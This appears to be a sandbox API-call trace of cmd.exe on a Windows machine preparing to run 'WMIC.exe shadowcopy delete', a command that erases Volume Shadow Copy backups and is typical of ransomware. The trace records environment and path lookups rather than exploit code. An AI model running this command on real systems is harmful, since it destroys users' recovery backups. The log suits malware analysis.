	[0247.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3194c0 | out: hHeap=0x300000) returned 1
	[0247.505] GetEnvironmentStringsW () returned 0x318a30*
	[0247.505] GetProcessHeap () returned 0x300000
	[0247.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa94) returned 0x31b6a0
	[0247.505] FreeEnvironmentStringsW (penv=0x318a30) returned 1
	[0247.505] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.505] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.506] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0247.506] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0247.506] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0247.506] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0247.506] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0247.506] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0247.506] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0247.506] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0247.506] GetProcessHeap () returned 0x300000
	[0247.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c) returned 0x301320
	[0247.506] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cf430 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.506] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1cf430, lpFilePart=0x1cf410 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf410*="Desktop") returned 0x25
	[0247.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.507] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf140 | out: lpFindFileData=0x1cf140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Users", cAlternateFileName="")) returned 0x301390
	[0247.507] FindClose (in: hFindFile=0x301390 | out: hFindFile=0x301390) returned 1
	[0247.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1cf140 | out: lpFindFileData=0x1cf140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x301390
	[0247.507] FindClose (in: hFindFile=0x301390 | out: hFindFile=0x301390) returned 1
	[0247.507] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0247.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1cf140 | out: lpFindFileData=0x1cf140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28993240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x28993240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Desktop", cAlternateFileName="")) returned 0x301390
	[0247.508] FindClose (in: hFindFile=0x301390 | out: hFindFile=0x301390) returned 1
	[0247.508] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.508] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0247.508] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0247.508] GetProcessHeap () returned 0x300000
	[0247.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b6a0 | out: hHeap=0x300000) returned 1
	[0247.508] GetEnvironmentStringsW () returned 0x318a30*
	[0247.508] GetProcessHeap () returned 0x300000
	[0247.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xae8) returned 0x31ac00
	[0247.508] FreeEnvironmentStringsW (penv=0x318a30) returned 1
	[0247.508] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.508] GetProcessHeap () returned 0x300000
	[0247.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x301320 | out: hHeap=0x300000) returned 1
	[0247.509] GetProcessHeap () returned 0x300000
	[0247.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4016) returned 0x31cc30
	[0247.509] GetProcessHeap () returned 0x300000
	[0247.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4e) returned 0x31b6f0
	[0247.509] GetProcessHeap () returned 0x300000
	[0247.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4010) returned 0x320c50
	[0247.510] GetProcessHeap () returned 0x300000
	[0247.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4010) returned 0x324c70
	[0247.513] _wcsnicmp (_String1="WMIC", _String2="cmd ", _MaxCount=0x4) returned 20
	[0247.515] GetProcessHeap () returned 0x300000
	[0247.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x420) returned 0x31b750
	[0247.515] SetErrorMode (uMode=0x0) returned 0x0
	[0247.515] SetErrorMode (uMode=0x1) returned 0x0
	[0247.515] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x31b760, lpFilePart=0x1cf2f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cf2f0*="Desktop") returned 0x25
	[0247.515] SetErrorMode (uMode=0x0) returned 0x1
	[0247.515] GetProcessHeap () returned 0x300000
	[0247.515] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x31b750, Size=0x92) returned 0x31b750
	[0247.515] GetProcessHeap () returned 0x300000
	[0247.516] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b750) returned 0x92
	[0247.516] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.516] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.516] GetProcessHeap () returned 0x300000
	[0247.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x128) returned 0x31b800
	[0247.517] GetProcessHeap () returned 0x300000
	[0247.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0x31b930
	[0247.530] GetProcessHeap () returned 0x300000
	[0247.530] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x31b930, Size=0x12a) returned 0x31b930
	[0247.531] GetProcessHeap () returned 0x300000
	[0247.531] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b930) returned 0x12a
	[0247.531] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.531] GetProcessHeap () returned 0x300000
	[0247.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe8) returned 0x31ba70
	[0247.532] GetProcessHeap () returned 0x300000
	[0247.532] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x31ba70, Size=0x7e) returned 0x31ba70
	[0247.532] GetProcessHeap () returned 0x300000
	[0247.532] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba70) returned 0x7e
	[0247.532] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.532] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.533] GetLastError () returned 0x2
	[0247.533] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.533] GetLastError () returned 0x2
	[0247.533] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.533] GetLastError () returned 0x2
	[0247.533] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.534] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.534] GetLastError () returned 0x2
	[0247.534] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.534] GetLastError () returned 0x2
	[0247.534] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.535] GetLastError () returned 0x2
	[0247.535] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.915] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.915] GetLastError () returned 0x2
	[0247.915] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.916] GetLastError () returned 0x2
	[0247.916] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.916] GetLastError () returned 0x2
	[0247.916] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.916] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.917] GetLastError () returned 0x2
	[0247.917] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.917] GetLastError () returned 0x2
	[0247.917] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.917] GetLastError () returned 0x2
	[0247.918] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.918] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.921] GetLastError () returned 0x2
	[0247.921] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.925] GetLastError () returned 0x2
	[0247.925] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x1cf060, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf060) returned 0xffffffffffffffff
	[0247.928] GetLastError () returned 0x2
	[0247.928] GetProcessHeap () returned 0x300000
	[0247.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x320c50 | out: hHeap=0x300000) returned 1
	[0247.929] GetProcessHeap () returned 0x300000
	[0247.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x324c70 | out: hHeap=0x300000) returned 1
	[0247.929] GetProcessHeap () returned 0x300000
	[0247.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30 | out: hHeap=0x300000) returned 1
	[0247.929] GetConsoleOutputCP () returned 0x1b5
	[0247.930] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.930] GetUserDefaultLCID () returned 0x409
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a537b50, cchData=8 | out: lpLCData=":") returned 2
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cf540, cchData=128 | out: lpLCData="0") returned 2
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cf540, cchData=128 | out: lpLCData="0") returned 2
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cf540, cchData=128 | out: lpLCData="1") returned 2
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a54a740, cchData=8 | out: lpLCData="/") returned 2
	[0247.932] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a54a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a54a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a54a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a54a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a54a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a54a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a54a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a537b40, cchData=8 | out: lpLCData=".") returned 2
	[0247.933] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a54a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0247.933] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0247.934] GetProcessHeap () returned 0x300000
	[0247.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20c) returned 0x31bb70
	[0247.934] GetConsoleTitleW (in: lpConsoleTitle=0x31bb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.935] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.935] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0247.935] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0247.935] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0247.936] GetProcessHeap () returned 0x300000
	[0247.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4012) returned 0x31cc30
	[0247.936] GetProcessHeap () returned 0x300000
	[0247.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30 | out: hHeap=0x300000) returned 1
	[0247.936] GetProcessHeap () returned 0x300000
	[0247.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb0) returned 0x31bd90
	[0247.936] GetProcessHeap () returned 0x300000
	[0247.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x22) returned 0x314590
	[0247.937] GetProcessHeap () returned 0x300000
	[0247.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x36) returned 0x3164a0
	[0247.937] GetConsoleTitleW (in: lpConsoleTitle=0x1cf450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.938] GetFileAttributesW (lpFileName="WMIC.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmic.exe")) returned 0xffffffff
	[0247.938] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0247.938] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0247.938] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0247.938] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0247.938] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0247.938] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0247.938] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0247.938] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0247.938] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0247.938] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0247.939] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0247.939] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0247.939] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0247.939] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0247.939] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0247.939] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0247.939] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0247.939] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0247.939] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0247.939] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0247.939] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0247.939] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0247.939] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0247.939] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0247.939] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0247.939] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0247.939] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0247.939] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0247.939] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0247.939] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0247.939] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0247.940] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0247.940] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0247.940] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0247.940] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0247.940] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0247.940] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0247.940] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0247.940] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0247.940] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0247.940] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0247.940] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0247.940] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0247.940] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0247.940] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0247.940] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0247.940] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0247.940] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0247.940] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0247.940] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0247.941] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0247.941] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0247.941] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0247.941] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0247.941] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0247.941] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0247.941] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0247.941] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0247.941] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0247.941] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0247.941] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0247.941] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0247.941] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0247.941] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0247.941] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0247.941] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0247.942] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0247.942] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0247.942] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0247.942] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0247.942] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0247.942] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0247.942] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0247.942] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0247.942] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0247.942] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0247.942] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0247.942] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0247.942] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0247.942] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0247.942] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0247.942] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0247.942] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0247.942] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0247.942] _wcsicmp (_String1="WMIC", _String2="FOR") returned 17
	[0247.943] _wcsicmp (_String1="WMIC", _String2="IF") returned 14
	[0247.943] _wcsicmp (_String1="WMIC", _String2="REM") returned 5
	[0247.943] GetProcessHeap () returned 0x300000
	[0247.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x218) returned 0x31be50
	[0247.943] GetProcessHeap () returned 0x300000
	[0247.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x31c070
	[0247.943] GetProcessHeap () returned 0x300000
	[0247.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x420) returned 0x301320
	[0247.943] SetErrorMode (uMode=0x0) returned 0x0
	[0247.943] SetErrorMode (uMode=0x1) returned 0x0
	[0247.944] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x301330, lpFilePart=0x1cece0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1cece0*="Desktop") returned 0x25
	[0247.944] SetErrorMode (uMode=0x0) returned 0x1
	[0247.944] GetProcessHeap () returned 0x300000
	[0247.944] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x301320, Size=0x6e) returned 0x301320
	[0247.944] GetProcessHeap () returned 0x300000
	[0247.944] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x301320) returned 0x6e
	[0247.944] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.944] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.944] GetProcessHeap () returned 0x300000
	[0247.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x128) returned 0x3013a0
	[0247.944] GetProcessHeap () returned 0x300000
	[0247.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0x3014d0
	[0247.944] GetProcessHeap () returned 0x300000
	[0247.944] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3014d0, Size=0x12a) returned 0x3014d0
	[0247.945] GetProcessHeap () returned 0x300000
	[0247.945] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x3014d0) returned 0x12a
	[0247.945] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.945] GetProcessHeap () returned 0x300000
	[0247.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe8) returned 0x301610
	[0247.945] GetProcessHeap () returned 0x300000
	[0247.945] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x301610, Size=0x7e) returned 0x301610
	[0247.945] GetProcessHeap () returned 0x300000
	[0247.945] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x301610) returned 0x7e
	[0247.945] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
